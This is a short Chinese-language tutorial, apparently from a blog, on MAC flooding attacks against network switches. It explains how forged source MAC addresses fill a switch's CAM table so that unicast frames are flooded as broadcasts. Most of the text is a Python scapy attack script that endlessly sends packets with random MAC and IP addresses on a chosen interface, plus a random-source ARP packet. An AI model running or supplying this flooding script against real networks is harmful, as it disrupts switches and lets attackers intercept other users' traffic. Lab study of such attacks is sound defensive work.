PC不断发送去往未知目的地的数据帧,且每个包的源MAC地址都不同,当这样的数据包发送的速度足够快之后,快到在刷新时间内将交换机的地址表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。 在刷新前不能容纳更多的mac地址池
尝试用python编写一个攻击脚本
首先用scapy这个模块,这个模块中有RandIP RandMAC两个函数
from scapy.all import *
print RandMAC()
print RandIP(“192.168.0.*”)#指定网段
接下来发送形式如下ARP包
Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:
iface=sys.argv[1]
while(1):
packet= Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)